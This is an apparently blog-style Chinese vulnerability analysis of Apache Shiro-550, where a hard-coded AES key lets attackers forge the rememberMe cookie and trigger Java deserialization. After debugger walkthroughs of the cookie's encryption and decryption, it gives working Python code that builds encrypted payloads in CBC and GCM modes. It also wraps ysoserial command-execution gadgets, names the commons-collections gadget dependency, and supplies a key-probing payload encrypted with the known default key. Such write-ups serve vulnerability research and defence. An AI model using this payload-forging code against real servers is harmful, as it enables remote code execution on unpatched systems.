前言
漏洞公告:https://issues.apache.org/jira/browse/SHIRO-550
这是个16年的漏洞,直到最近两年才有了公开利用。官方的漏洞公告说的很明白,漏洞位置在Cookie中的RememberMe
字段,功能本是用来序列化,加密,编码后保存用户身份的,当收到未验证身份的请求时,Shiro将会对RememberMe
解码,解密,反序列化以读取用户身份,问题出在Shiro本身将加解密的Key硬编码到源代码中,这就导致了可以构造恶意数据导致反序列化漏洞。
环境
添加jstl和standard包,使用官方的sample起一个shiro实例
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
<!-- https://mvnrepository.com/artifact/javax.servlet/jstl -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/taglibs/standard -->
<dependency>
<groupId>taglibs</groupId>
<artifactId>standard</artifactId>
<version>1.1.2</version>
</dependency>
对源码概览一下,很容易发现问题核心点,即硬编码Key的位置
通过漏洞原理,首先寻找程序本身登录成功后序列化用户信息的过程。
序列化和加密
登录,对登录成功后的操作方法打断点
只有在选择了记住我后,Shiro才会对用户信息进行序列化操作。
跟进forgetIdentity
方法,跳到了shiro-web.jar
传递进去了request
和response
这里加了一个Cookie,就是用来做Shiro指纹的Set-Cookie: rememberMe=deleteMe;
当然这里流程是登录成功后执行的方法,实际上这个添加Cookie的方法在登陆失败时也有,所以可做成指纹。
回到主要方法上,做了一个简简单单的判断
跟进rememberIdentity
方法
将用户名序列化,加密
跟进加密方法
看一下cipherService
对象
跟进getEncryptionCipherKey
方法
这个变量在断点之前已经被设置过了,就是key值base64解码后的结果
回到上边,跟进encrypt
方法
生成IV值
给到下一步加密方法
固定算法
一路return
回去,进入rememberSerializedIdentity
方法
把subject
对象和序列化加密后的身份信息,经过base64编码放到了Cookie
至此加密过程就完了,HTTP流量中服务器会把处理过的身份信息设置为rememberMe
的Cookie。
解密和反序列化
根据Shiro的变量命名和业务流程,断点打到org.apache.shiro.mgt.AbstractRememberMeManager
的getRememberedPrincipals
方法
跟进getRememberedSerializedIdentity
,读取之前处理过的Cookie
对base64补全
返回base64解码后的字节码
返回根据convertBytesToPrincipals
跟进
这里带着数据和Key,跟进decrypt
品一下这个流程,iv
的长度是固定的,也就是16位
将源数据的前16位给到了iv
,后边的给到了encrypted
,带着key,继续跟进
这里的mode硬编码为2
initNewCipher
就是原生的Cipher.init
方法了,利用key解密原始数据
return后,就到了反序列化操作
跟进
继续跟进
这里就到了原生的反序列化了
至此反序列化链条结束。
POC
加密流程
- 获取加密算法:AES/CBC/PKCS5Padding
- 随机生成IV
- 读取硬编码的Key
- 使用以上三者生成密文
- base64编码,放到Cookie的
rememberMe
中
解密流程
- 读取Cookie中的
rememberMe
- base64补全后解密
- IV和数据都从解密后的原数据获取
- 获取硬编码Key
- 利用Key,IV,固定算法对数据解密
- 将解密后的数据反序列化
可以看到,IV
是根据原数据生成的,同时key又是硬编码,这就导致我们可以反序列化任意对象。
POC生成流程
- 生成反序列化数据
- 随机生成16位的
IV
- AES/MODE_CBC
- 用硬编码的Key和IV对数据加密
- base64加密拼接后的IV和密文
由于Padding Oracle Attack
,Shiro从1.4.2开始使用GCM算法,这两种算法用python都可以实现
def GCMCipher(key, file_body):
iv = os.urandom(16)
cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv)
ciphertext, tag = cipher.encrypt_and_digest(file_body)
ciphertext = ciphertext + tag
base64_ciphertext = base64.b64encode(iv + ciphertext)
return base64_ciphertext
def CBCCipher(key, file_body):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
file_body = pad(file_body)
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
也可以借助ysoserial
利用
def generator(fp, plugin, key, command):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, plugin, command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
利用需要有利用链,可以加一个maven
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
进阶检测
利用Shiro550最关键的就是获取Key值,之前的检测方法基本都是配合URLDNS
或者CC
盲打,直到l1nk3r师傅发现了一种快速的检测Key方法。
当Key错误或者正常访问时,Shiro会返回一个Set-Cookie: rememberMe=deleteMe
,跟一下这个操作
回到最初的入口getRememberedPrincipals
,跟进到decrypt
一直跟到crypt
解密错误
步入失败方法
又来到了forgetIdentity
,上边已经走过,这里是增加rememberMe=deleteMe
头的
让我们回到反序列化时的关键操作
这里我们反序列化的gadget
实际上并不是继承于PrincipalCollection
,这里会出现强制类型转换报错
虽然弹出了计算器,但是和上边一样,同样会由于错误而走到增加rememberMe=deleteMe
头,我们需要一个继承于PrincipalCollection
的类,并且key正确时不额外增加头。
于是便找到了SimplePrincipalCollection
类
空类即可
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();
Key正确时
Key错误时
上文SimplePrincipalCollection
空类的base64
rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==
可用上文的CBCCipher
方法生成检测Payload
print(CBCCipher('kPH+bIxk5D2deZiIxcaaaA==', base64.b64decode(payload)).decode())